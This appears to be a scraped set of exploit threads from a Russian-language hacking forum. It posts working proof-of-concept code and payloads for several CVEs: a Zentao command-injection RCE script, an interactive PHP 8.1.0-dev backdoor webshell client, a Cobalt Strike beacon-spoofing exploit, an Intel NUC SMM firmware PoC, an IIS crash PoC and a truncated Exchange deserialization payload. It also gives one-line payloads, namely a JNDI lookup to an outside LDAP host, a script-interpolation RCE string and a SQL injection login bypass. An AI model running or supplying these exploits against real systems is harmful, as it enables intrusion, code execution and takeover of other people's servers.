vulnerability at main · DataDog/security-labs-pocs ](https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept- exploits/openssl-punycode-vulnerability)

Proof of concept code for Datadog Security Labs referenced exploits. - security-labs-pocs/proof-of-concept-exploits/openssl-punycode-vulnerability at main · DataDog/security-labs-pocs

github.com github.com

Click to expand...

Exploitation technical details :

![securitylabs.datadoghq.com](/proxy.php?image=https%3A%2F%2Fdatadog- securitylabs.imgix.net%2Fimg%2Femergingthreats_hero_globe.png%3Fw%3D1200%26h%3D630%26auto%3Dformat&hash=73b6ad4414ec271d51b83f74168a7a45&return_error=1)

The OpenSSL punycode vulnerability (CVE-2022-3602): Overview, detection, exploitation, and remediation | Datadog Security Labs

Learn how the OpenSSL punycode vulnerability (CVE-2022-3602) works, how to detect it, and how it can be exploited.

![securitylabs.datadoghq.com](/proxy.php?image=https%3A%2F%2Fdatadog- securitylabs.imgix.net%2Fimg%2Ffavicon.ico&hash=4db26517bd3662c7a8bb1a1843f95206&return_error=1) securitylabs.datadoghq.com

Click to expand...

SSRF\RCE PoC CVE-2022-40146 (Apache Batik exp.)
ID: 67686ba3b4103b69df379c12
Thread ID: 75032
Created: 2022-11-01T13:01:54+0000
Last Post: 2022-11-01T13:01:54+0000
Author: Desoxyn
Prefix: Remote
Replies: 0 Views: 1K

Apache Batik SSRF to RCE Jar Exploit

![www.zerodayinitiative.com](/proxy.php?image=http%3A%2F%2Fstatic1.squarespace.com%2Fstatic%2F5894c269e4fcb5e65a1ed623%2F58a5b38cb3db2bd67b608658%2F635c21bed89bad67e748dfc8%2F1667237887400%2Flight- abstract-architecture-structure-building- architect-1057489-pxhere.com.jpg%3Fformat%3D1500w&hash=1f3d319f9c1337bb6244a5a50d018940&return_error=1)

[ Zero Day Initiative — Vulnerabilities in Apache Batik Default Security

Controls – SSRF and RCE Through Remote Class Loading ](https://www.zerodayinitiative.com/blog/2022/10/28/vulnerabilities-in-apache- batik-default-security-controls-ssrf-and-rce-through-remote-class-loading)

Introduction I stumbled upon the Apache Batik library while researching other Java-based products. It immediately caught my attention, as this library parses Scalable Vector Graphics (SVG) files and transforms them into different raster graphics formats (i.e., PNG, PDF, or JPEG). I was even more e

![www.zerodayinitiative.com](/proxy.php?image=https%3A%2F%2Fimages.squarespace- cdn.com%2Fcontent%2Fv1%2F5894c269e4fcb5e65a1ed623%2F1487670157237-HOXHMI54TA0SZP21OY7C%2Ffavicon.ico&hash=344b3c2d1ab7269ea8c5ee6374dcfc30&return_error=1) www.zerodayinitiative.com

Quick video demonstrating:

Poc contains:

- SSRF
- RCE via jar
- RCE via ecmascript

LPE, Intel NUC M15 (UEFI), CVE-2022-40261 & INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
ID: 67686ba3b4103b69df379c13
Thread ID: 74825
Created: 2022-10-28T13:27:42+0000
Last Post: 2022-10-31T15:39:42+0000
Author: atavism
Prefix: Local
Replies: 2 Views: 1K

CVE 's: CVE-2022-40261 & INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
Уязвимая среда : Прошивка ноутбуков Intel NUC M15 (до BC0076), AMI Aptio 5.x
Вендор : Intel
Тип уязвимостей : LPE
**1. CVE-2022-40261
CWE: **CWE-119 (Классическое переполнение буффера)
Опасность (CVSS) : 8.2
Описание : Атакующий может проэксплуатировать уязвимости для повышения привилегий с режима ядра (Kernel Mode/Ring 0) до режима SMM (System Management Mode, Ring -2). SMM - привилегированный режим, работающий в собственном контексте отдельно от работающей ОС (здесь не имеет смысла отмечать, какая именно ОС, бага ниже ядра). Выполняя произвольный код в SMM, атакующий может обойти защиту чипа SPI, что позволит ему установить вредоносный UEFI-драйвер, который будет запущен в DXE (Driver Execution Environment), а также обеспечивая перзистентность даже при переустановке ОС. Уязвимости также могут быть использованы для обхода механизмы защиты, предоставляемые UEFI, например Secure Boot.
**2. INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)
СWE: **CWE-120 (Неправильное ограничение операций в пределах буфера памяти)
Опасность (CVSS) : 7.8
Описание: Неправильное ограничение буфера в прошивке некоторых комплектов для ноутбуков Intel(R) NUC (до версии BC0076) может позволить привилегированному пользователю осуществить повышение привилегий.
Уязвимые модули :

CVE ​| Module name ​| SHA256 ​| Module GUID
---|---|---|---
CVE-2022-40261​| OverClockSmiHandler​| a204699576e1a48ce915d9d9423380c8e4c197003baf9d17e6504f0265f3039c​| 4698C2BD-A903-410E-AD1F-5EEF3A1AE422​
INTEL-SA-00712 (CVE-2022-28858, CVE-2022-40250)​| SmmSmbiosElog​| 3a8acb4f9bddccb19ec3b22b22ad97963711550f76b27b606461cd5073a93b59​| 8e61fd6b-7a8b-404f-b83f-aa90a47cabdf​

PoC 's:
CVE-2022-40261 : Для CVE-2022-40261 на данный момент PoC не существует.
**INTEL-SA-00712 (CVE-2022-28858,CVE-2022-40250): **

Spoiler: PoC

Python:Copy to clipboard

import os
import struct
import sys

sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import ctypes

import chipsec
import chipsec.chipset
import hexdump
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init(None, True, True)
intr = Interrupts(cs)
uefi = UEFI(cs)

rtcode_start = 0x000000005A73B000  # from memmap
rtcode_end = 0x000000005A7FEFFF

AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID = "9c72f7fb-86b6-406f-b86e-f3809a86c138"


class CommBufferStructureCase4(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Command", ctypes.c_uint64),
        ("Arg1", ctypes.c_uint64),
        ("Arg2", ctypes.c_uint64),
        ("Arg3", ctypes.c_uint64),
        ("StatusCode", ctypes.c_uint64),
    ]


class CommBufferStructureCase1(ctypes.LittleEndianStructure):
    _pack_ = 1
    _fields_ = [
        ("Command", ctypes.c_uint64),  # 0x00
        ("Arg1", ctypes.c_uint64),  # 0x08
        ("Arg2", ctypes.c_uint32),  # 0x10
        ("Arg3", ctypes.c_uint8),  # 0x14
        ("Undefined", ctypes.c_uint8 * 3),
        ("Arg4", ctypes.c_uint64),  # 0x18
        ("Arg5", ctypes.c_uint64),  # 0x20
        ("StatusCode", ctypes.c_uint64),  # 0x28
    ]


def locate_smmc(rtcode_start, rtcode_end):
    # locate SMM_CORE_PRIVATE_DATA
    data = cs.helper.read_physical_mem(rtcode_start, rtcode_end - rtcode_start + 1)
    smmc_offset = data.find(b"smmc")
    smmc_loc = rtcode_start + smmc_offset

    return smmc_loc


smmc_loc = locate_smmc(rtcode_start, rtcode_end)


def set_flag_api4():
    # setup for communication buffer
    payload_loc = 0x53000000
    buffer_loc = payload_loc + 24  # CommBuffer address

    arg2_addr = payload_loc + 64
    arg3_addr = payload_loc + 65
    cs.helper.write_physical_mem(arg2_addr, 8, struct.pack("<Q", 1))

    buffer = CommBufferStructureCase4()
    buffer.Command = 4
    buffer.Arg1 = 0  # if ( Arg1 ) return EFI_NOT_FOUND
    buffer.Arg2 = arg2_addr  # FlagValue = *Arg2 == 1
    buffer.Arg3 = arg3_addr  # *Arg3 = FlagValue
    buffer.StatusCode = -1

    buffer_size = len(bytes(buffer))

    print(f"Buffer before:")
    hexdump.hexdump(bytes(buffer))

    # trigger handler
    ReturnStatus = intr.send_smmc_SMI(
        smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
    )
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
    print(f"Handler return status: {status}")

    data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
    print(f"Buffer after:")
    hexdump.hexdump(data)

    api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x20, 8)
    api_status = struct.unpack("<Q", api_status_value)[0]
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
    print(f"API return status: {status}")

    flag_value = cs.helper.read_physical_mem(arg3_addr, 1)
    flag = struct.unpack("<B", flag_value)[0]
    print(f"Flag value: {flag}")


def vuln_api1():
    # setup for communication buffer
    payload_loc = 0x53000000
    buffer_loc = payload_loc + 24  # CommBuffer address

    arg5_addr = payload_loc + 120
    arg1_addr = payload_loc + 128
    cs.helper.write_physical_mem(
        arg1_addr, 1, struct.pack("<B", 0xE2)
    )  # if ( *Arg1 == 0xE2 )
    cs.helper.write_physical_mem(
        arg1_addr + 1, 1, struct.pack("<B", 0x81)
    )  # Value = *(Arg1 + 1)

    buffer = CommBufferStructureCase1()
    buffer.Command = 1
    buffer.Arg1 = arg1_addr
    buffer.Arg2 = 0  # if ( Arg2 ) return EFI_NOT_FOUND
    buffer.Arg3 = 0  # any value
    buffer.Arg4 = 1337  # CopyMem size param
    buffer.Arg5 = arg5_addr
    buffer.StatusCode = -1

    buffer_size = len(bytes(buffer))

    print(f"Buffer before:")
    hexdump.hexdump(bytes(buffer))

    # trigger handler
    ReturnStatus = intr.send_smmc_SMI(
        smmc_loc, AMI_SMM_DUMMY_PROTOCOL_REDIR_GUID, bytes(buffer), payload_loc
    )
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(ReturnStatus)
    print(f"Handler return status: {status}")

    data = cs.helper.read_physical_mem(buffer_loc, buffer_size)
    print(f"Buffer after:")
    hexdump.hexdump(data)

    api_status_value = cs.helper.read_physical_mem(buffer_loc + 0x28, 8)
    api_status = struct.unpack("<Q", api_status_value)[0]
    status = chipsec.hal.uefi_common.EFI_ERROR_STR(api_status)
    print(f"API return status: {status}")


if __name__ == "__main__":
    set_flag_api4()  # set gFlag
    vuln_api1()
Apache Commons JXPath Library RCE (CVE-2022-41852)
ID: 67686ba3b4103b69df379c15
Thread ID: 74521
Created: 2022-10-20T06:40:32+0000
Last Post: 2022-10-20T06:40:32+0000
Author: tokyoghoul
Prefix: Remote
Replies: 0 Views: 1K

Those using JXPath to interpret untrusted XPath expressions may be vulnerable to a remote code execution attack. All JXPathContext class functions processing a XPath string are vulnerable except compile() and compilePath() function. The XPath expression can be used by an attacker to load any Java class from the classpath resulting in code execution.

Read more here:
<https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library- cve-2022-41852/>

Payload:
jxPathContext.getValue("javax.naming.InitialContext.doLookup("ldap://check.dnslog.cn/obj")");

PoC:
https://github.com/Warxim/CVE-2022-41852

CVE-2022-42889: Apache Commons Text RCE
ID: 67686ba3b4103b69df379c16
Thread ID: 74428
Created: 2022-10-17T16:59:28+0000
Last Post: 2022-10-17T16:59:28+0000
Author: ccs
Prefix: Remote
Replies: 0 Views: 1K

CVE : CVE-2022-42889
Affected program: Commons Text library
Vendor: Apache
Affected version: 1.5 to 1.9
Fixed version : 1.10
Type of vulnerability : RCE (Log4shell- ${prefix:name})
CVSS: 9.8 CRITICAL
Description :Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used. Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.
PoC :

Java:Copy to clipboard

StringSubstitutor.createInterpolator().replace("${script:js:new java.lang.ProcessBuilder(\"calc\").start()}");

Source: https://mp.weixin.qq.com/s?__biz=Mz...e3293c77ed0d8398effb72cc128e4e17ce14574773#rd

Zentao Project Management System 17.0 Remote Code Execution Exploit
ID: 67686ba3b4103b69df379c17
Thread ID: 74311
Created: 2022-10-14T03:57:01+0000
Last Post: 2022-10-14T03:57:01+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Exploit Title: Zentao Project Management System 17.0 - Authenticated

Remote Code Execution

Exploit Author: mister0xf

Software Link: https://github.com/easysoft/zentaopms

Version: tested on 17.0 (probably works also on newer/older versions)

Tested On: Kali Linux 2022.2

Exploit Tested Using: Python 3.10.4

Vulnerability Description:

Zentao Project Management System 17.0 suffers from an authenticated

command injection allowing

remote attackers to obtain Remote Code Execution (RCE) on the hosting

webserver

Vulnerable Source Code:

/module/repo/model.php:

[...]

$client = $this->post->client; // <-- client is taken from the POST

request

[...]

elseif($scm == 'Git')

{

if(!is_dir($path))

{

dao::$errors['path'] = sprintf($this->lang->repo->error->noFile, $path);

return false;

}

if(!chdir($path))

{

if(!is_executable($path))

{

dao::$errors['path'] = sprintf($this->lang->repo->error->noPriv, $path);

return false;

}

dao::$errors['path'] = $this->lang->repo->error->path;

return false;

}

$command = "$client tag 2>&1"; // <-- command is injected here

exec($command, $output, $result);

Click to expand...

Code:Copy to clipboard

mport requests,sys
import hashlib
from urllib.parse import urlparse
from bs4 import BeautifulSoup
 
def banner():
    print('''
          ::::::::: :::::::::: ::::    :::  :::::::: :::::::::::     :::      ::::::::
          :+:  :+:        :+:+:   :+: :+:    :+:    :+:       :+: :+:   :+:    :+:
        +:+   +:+        :+:+:+  +:+ +:+           +:+      +:+   +:+  +:+    +:+
      +#+    +#++:++#   +#+ +:+ +#+ +#+           +#+     +#++:++#++: +#+    +:+
    +#+     +#+        +#+  +#+#+# +#+           +#+     +#+     +#+ +#+    +#+
  #+#      #+#        #+#   #+#+# #+#    #+#    #+#     #+#     #+# #+#    #+#
######### ########## ###    ####  ######## ########### ###     ###  ########
    ''')
def usage():
    print('Usage: zenciao user password http://127.0.0.1/path')
     
def main():
 
    if ((len(sys.argv)-1) != 3):
        usage()
        banner()
        exit()
 
    #proxy = {'http':'http://127.0.0.1:8080'}
 
    banner()
    username = sys.argv[1] 
    password = sys.argv[2] 
    target = sys.argv[3]
 
    # initialize session object
    session = requests.session()
   
    home_url = target+'/index.php'
    rand_url = target+'/index.php?m=user&f=refreshRandom&t=html'
    login_url = target+'/index.php?m=user&f=login&t=html'
    create_repo_url = target+'/index.php?m=repo&f=create&objectID=0'
 
    r1 = session.get(home_url)
    soup = BeautifulSoup(r1.text, "html.parser")
    script_tag = soup.find('script')
    redirect_url = script_tag.string.split("'")[1]
    r2 = session.get(target+redirect_url)
 
    # get random value
    session.headers.update({'X-Requested-With': 'XMLHttpRequest'})
    res = session.get(rand_url)
    rand = res.text
 
    # compute md5(md5(password)+rand)
    md5_pwd = hashlib.md5((hashlib.md5(password.encode()).hexdigest()+str(rand)).encode())
 
    # login request
    post_data = {"account":username,"password":md5_pwd.hexdigest(),"passwordStrength":1,"referer":"/zentaopms/www/","verifyRand":rand,"keepLogin":0,"captcha":""}
    my_referer = target+'/zentaopms/www/index.php?m=user&f=login&t=html'
    session.headers.update({'Referer': my_referer})
    session.headers.update({'X-Requested-With': 'XMLHttpRequest'})
    response = session.post(login_url, data=post_data) 
 
    # exploit rce
    # devops repo page
    r2 = session.get(create_repo_url)
    git_test_dir = '/home/'
    command = 'whoami;'
    exploit_post_data = {"SCM":"Git","name":"","path":git_test_dir,"encoding":"utf-8","client":command,"account":"","password":"","encrypt":"base64","desc":""}
    r3 = session.post(create_repo_url, data=exploit_post_data)
    print(r3.content)
 
if __name__ == '__main__':
    main()
CVE-2022-39197 Cobalt Strike <= 4.7 RCE
ID: 67686ba3b4103b69df379c18
Thread ID: 73663
Created: 2022-09-27T00:34:30+0000
Last Post: 2022-10-08T17:40:51+0000
Author: timeshout
Prefix: Remote
Replies: 5 Views: 1K

Python:Copy to clipboard

#!/usr/bin/env python
# coding=utf-8
import hexdump
import rsa
import random
import base64
import string
import urllib.request

#pack = b'\x00\x00\xBE\xEF'  # pack head
#pack += b'\x00\x00\x00\x4C'  # pack len
pack = bytearray(random.getrandbits(4) for _ in range(16))  # AESKEY
pack += b'\xa8\x03'  # name charset  (int) (little)
pack += b'\xa8\x03'  # name charset  (int) (little)
# pack+=b'\x00\x00\x00\x06' # Beacon Id random
pack += random.randint(0 , 9999999) .to_bytes(4, 'big') # Beacon Id
pack += random.randint(0 , 65535) .to_bytes(4, 'big') # Beacon Pid
pack += b'\x00\x00'  # Beacon Port
pack += b'\x04'  # Beacon Flag 04
pack += b'\x06'
pack += b'\x02'
pack += b'\x23\xf0\x00\x00\x00\x00'  # windows version (int)
pack += b'\x76\x91'  # windows version_1 (int)
pack += b'\x0a\x60\x76\x90\xf5\x50'
pack += bytearray(random.getrandbits(4) for _ in range(4))  # Beacon Ip
pack += b'\x4b\x4b'+b'\x09'+b'<html><img src=http://127.0.0.1/1.jpg>'+b'\x09'+b'\x61' # PAYLOAD LOAD A IMAGE *NEED-EDIT
pack = b'\x00\x00\xBE\xEF'+len(pack).to_bytes(4, 'big')+pack
url = 'http://192.168.234.100/pixel.gif' # C2 Server metadata post url (CobaltStrikeParser C2Server) *NEED-EDIT
pubkey = rsa.PublicKey.load_pkcs1_openssl_pem("""
-----BEGIN PUBLIC KEY-----
MIGfXXXXXXXXXXXXXXXX==
-----END PUBLIC KEY-----
""")# use the CobaltStrikeParser extract public key from the payload https://github.com/Sentinel-One/CobaltStrikeParser  parse_beacon_config.py payload_url --json
#Remember to remove the extra padding from the public key  *NEED-EDIT
enpack = rsa.encrypt(pack, pubkey)
header = {'Cookie': base64.b64encode(enpack).decode('utf-8')}
request = urllib.request.Request(url, headers=header)
reponse = urllib.request.urlopen(request).read()
#print('base64:', base64.b64encode(enpack).decode('utf-8'))
#print(hexdump.hexdump(pack))
Footer
CVE 2022 20700+ - 15 Cisco VPN Vulns
ID: 67686ba3b4103b69df379c5e
Thread ID: 62455
Created: 2022-02-04T01:49:12+0000
Last Post: 2022-02-11T11:03:57+0000
Author: Lipshitz
Prefix: Remote
Replies: 13 Views: 1K

Critical security vulnerabilities in Cisco’s Small Business RV Series routers could allow privilege escalation, remote code execution (RCE) with root privileges on the devices and more.

According to Cisco’s Wednesday advisory, attackers could exploit the bugs (which variously affect the RV160, RV260, RV340 and RV345 appliances) to do the following:

Execute arbitrary code
Elevate privileges
Execute arbitrary commands
Bypass authentication and authorization protections
Fetch and run unsigned software
Cause denial of service (DoS)

Cisco also said that proof-of-concept exploits are available for “several of the vulnerabilities,” but the company didn’t offer details on any in-the-wild attacks.

The most concerning critical vulnerability rates 10 out of 10 on the CVSS vulnerability-severity scale. It arises in the SSL VPN module of Cisco Small Business RV340, RV340W, RV345 and RV345P Dual WAN Gigabit VPN routers. It could allow unauthenticated RCE, according to the advisory. At worst, device takeover would allow unfettered access to the business network on the part of an attacker.

This vulnerability is due to insufficient boundary checks when processing specific HTTP requests,” the advisory reads. “An attacker could exploit this vulnerability by sending malicious HTTP requests to the affected device that is acting as an SSL VPN Gateway. A successful exploit could allow the attacker to execute code with root privileges on the affected device.

CVE-2022-21661 WordPress-Core SQL Injection
ID: 67686ba3b4103b69df379c5f
Thread ID: 61175
Created: 2022-01-11T04:38:25+0000
Last Post: 2022-02-03T08:57:57+0000
Author: 0x0021h
Prefix: Web
Replies: 5 Views: 1K

Затронутые версии:
< 5.8.3

Эксплойт:
1641875898373.png

proof of concept for CVE-2021-22005
ID: 67686ba3b4103b69df379c76
Thread ID: 57131
Created: 2021-09-27T19:55:00+0000
Last Post: 2021-11-10T23:19:37+0000
Author: Big Bro
Prefix: Remote
Replies: 13 Views: 1K

You must have at least 2 reaction(s) to view the content.

COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass) / XSS
ID: 67686ba3b4103b69df379c81
Thread ID: 52002
Created: 2021-05-20T18:32:51+0000
Last Post: 2021-09-10T11:58:52+0000
Author: DarckSol
Prefix: Web
Replies: 1 Views: 1K

Exploit Title: COVID19 Testing Management System 1.0 - SQL Injection (Auth

Bypass)

Date: 19/05/2021

Exploit Author: Rohit Burke

Vendor Homepage: https://phpgurukul.com

Software Link: <https://phpgurukul.com/covid19-testing-management-system-

using-php-and-mysql/>

Version: 1.0

Tested on: Windows 10

SQL Injection:
Injection flaws, such as SQL, NoSQL, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query. The
attacker’s hostile data can trick the interpreter into executing unintended
commands or accessing data without proper authorization.

Attack vector:
An attacker can gain admin panel access using malicious sql injection queries.

Steps to reproduce:

  1. Open admin login page using following URl:
    "http://localhost/covid-tms/login.php"

  2. Now put the payload below the Username and password field.
    Payload: admin' or '1'='1 and you will be successfully logged In as Admin without any credentials.

Click to expand...

==> Stored Cross-Site Scripting XSS:
An attacker uses Stored XSS to inject malicious content (referred to as
the payload), most often JavaScript code, into the target application. If
there is no input validation, this malicious code is permanently stored
(persisted) by the target application, for example within a database. For
example, an attacker may enter a malicious script into a user input field
such as a blog comment field or in a forum post.
When a victim opens the affected web page in a browser, the XSS attack
payload is served to the victim’s browser as part of the HTML code (just
like a legitimate comment would). This means that victims will end up
executing the malicious script once the page is viewed in their browser.

==> Attack Vendor:
This vulnerability can results attacker injecting the XSS payload in the
Admin profile section and each time admin visits the all other sections of
the application the XSS triggers and the attacker can able to steal the
cookie according to the crafted payload.

==> Vulnerable Parameters:
"Admin name" parameter

==> Steps for reproduce:

  1. Go to http://localhost/covid-tms/login.php
    and logged In as an Admin (#Username: admin #Password: Test@123).

  2. Click on (Admin --> Profile). Enter the payload in
    Admin name =
    Click on submit.

  3. Now, whichever section of the application admin visits the payload gets executed successfully.

Click to expand...

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Fimages%2Fspider- orange.png&hash=b9926ee90dd7e270c1508ce4a1ce7729&return_error=1)

[ COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site

Scripting (XSS) ](https://www.exploit-db.com/exploits/49887)

COVID19 Testing Management System 1.0 - 'Admin name' Cross-Site Scripting (XSS).. webapps exploit for PHP platform

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Ffavicon.ico&hash=2f3ef8e0d310f23c9d8de649a987be9a&return_error=1) www.exploit-db.com

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Fimages%2Fspider- orange.png&hash=b9926ee90dd7e270c1508ce4a1ce7729&return_error=1)

[ COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass)

](https://www.exploit-db.com/exploits/49886)

COVID19 Testing Management System 1.0 - SQL Injection (Auth Bypass).. webapps exploit for PHP platform

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Ffavicon.ico&hash=2f3ef8e0d310f23c9d8de649a987be9a&return_error=1) www.exploit-db.com

PHP 8.1.0-dev Backdoor Remote Command Execution Exploit (2)
ID: 67686ba3b4103b69df379c90
Thread ID: 52381
Created: 2021-06-01T13:20:56+0000
Last Post: 2021-06-01T13:20:56+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python3
 
# Exploit Title: PHP 8.1.0-dev WebShell RCE (Unauthenticated)
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.php.net/
# Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
# Version: PHP 8.1.0-dev
# Tested on: Kali GNU/Linux 2020.3
# Author website: https://coldfusionx.github.io
# Author email: coldfusionx@outlook.com
# Detailed POC: https://github.com/ColdFusionX/PHP-8.1.0-dev_WebShell-RCE
 
import argparse, textwrap
import requests
import sys
 
 
parser = argparse.ArgumentParser(description="PHP 8.1.0-dev WebShell RCE by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 
Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
'''))                     
 
parser.add_argument("-l","--url", help="PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)") 
args = parser.parse_args()
 
if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -l [url]")          
    sys.exit()  
 
# Variables
Host = args.url
 
r = requests.session()
 
## Use this for Proxy
#r.proxies.update( { 'http':'http://127.0.0.1:8080' } ) 
 
def svcheck():
    verify = r.get(f'{Host}')
 
    if (verify.headers['X-Powered-By'] == 'PHP/8.1.0-dev') :
        print("Target is running on PHP 8.1.0-dev\n")
        return True
 
def exec():
    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
            'User-Agentt' : f'zerodiumsystem("{Command}");'
                     }
  
    door = r.get(f'{Host}', headers = headerscontent, allow_redirects= False)
 
    resp = door.text.split("<!DOCTYPE html>")[0]
    if (resp == ""):
        print()
        print("Invalid Command")
        print()   
    else:
        print()
        print(resp)
 
 
if __name__ == "__main__":
 
    print ('\n[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX \n ')
    try:    
        if svcheck() == True:
            print("*Shoot your commands below* \n")
            try:
                while True:
                    Command = input("[^] WebShell=- ")
                    exec()
            except:
                print("\r\nExiting.")
                sys.exit(-1)
     
    except Exception as ex:
        print('Invalid URL or Target not Vulnerable')

# 0day.today [2021-06-01] #

RCE, Windows IIS, CVE-2021-31166
ID: 67686ba3b4103b69df379c94
Thread ID: 51892
Created: 2021-05-18T13:38:33+0000
Last Post: 2021-05-18T13:38:33+0000
Author: Krypt0n
Prefix: DoS
Replies: 0 Views: 1K

В рамках майского «вторника обновлений» компания Microsoft устранила опасный баг в Internet Information Services (IIS), который получил идентификатор [CVE-2021-31166](https://msrc.microsoft.com/update-guide/en- US/vulnerability/CVE-2021-31166). Еще на прошлой неделе многие исследователи и [ИБ- компании](https://www.zerodayinitiative.com/blog/2021/5/11/the- may-2021-security-update-review) писали, что данная уязвимость – одна из наиболее серьезных проблем, исправленных в этом месяце (9,8 из 10 баллов по шкале CVSS v3).

Уязвимость связана с повреждением информации в памяти стека протокола HTTP, включенного в во все «свежие» версии Windows. Этот стек используется сервером Windows IIS. Если данный сервер активен, злоумышленник может отправить ему специально подготовленный пакет и выполнить вредоносный код на уровне ядра ОС. Хуже того, Microsoft предупреждала, что уязвимость обладает потенциалом червя, то есть может применяться для создания малвари, самостоятельно распространяющейся с сервера на сервер.

В минувшие выходные бывший инженер Microsoft и ныне ИБ-исследователь Аксель Суше опубликовал PoC-эксплоит для CVE-2021-31166. Возможности эксплоита искусственно ограничены: он не позволяет создать полноценного червя, лишь приводит к «падению» (DoS) непропатченных версий Windows с работающим сервером IIS.

К счастью, эта уязвимость затрагивает только наиболее новые версии ОС: Windows 10 2004 и 20H2, а также Windows Server 2004 и 20H2, которые пока распространены не слишком широко. Тем не менее, Microsoft напоминает, что не стоит откладывать установку обновлений в долгий ящик.

PoC

Python:Copy to clipboard

# https://github.com/0vercl0k/CVE-2021-31166
# Axel '0vercl0k' Souchet - May 16 2021
import requests
import argparse

def main():
    parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
    parser.add_argument('--target', required = True)
    args = parser.parse_args()
    r = requests.get(f'http://{args.target}/', headers = {
        'Accept-Encoding': 'doar-e, ftw, imo, ,',
    })
    print(r)

main()
RCE, Microsoft Exchange Server, CVE-2021-28482
ID: 67686ba3b4103b69df379c95
Thread ID: 51369
Created: 2021-05-04T06:18:35+0000
Last Post: 2021-05-12T07:49:50+0000
Author: KAJIT
Prefix: Web
Replies: 2 Views: 1K

PoC_CVE-2021-28482.py

Python:Copy to clipboard

import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

target = ""
username = "john"
pwd = ""
cmd = "mspaint.exe"


def escape(_str):
    _str = _str.replace("&", "&amp;")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str


payload2 = """
<ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC z:Id="1" z:Size="1"
    xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
    xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
    <KeyValueOfstringProposeOptionsMeetingPollParametersE_S0982HC>
        <Key z:Id="2">ahihi</Key>
        <Value z:Id="3"
            xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.Calendaring.CustomActions">
            <ChangedProperties xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel"
                xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.PropertyBags">
                <b:propertyValues z:Size="1"
                    xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
                    <c:KeyValueOfstringanyType>
                        <c:Key>asdasdasdasdasd</c:Key>
                        <c:Value">
                            <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
                                                         xmlns:c="http://www.w3.org/2001/XMLSchema"
                                                         xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
                                                         xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"
                                                         >
                            <root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
                              <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
                                                                                  xmlns:c="http://www.w3.org/2001/XMLSchema"
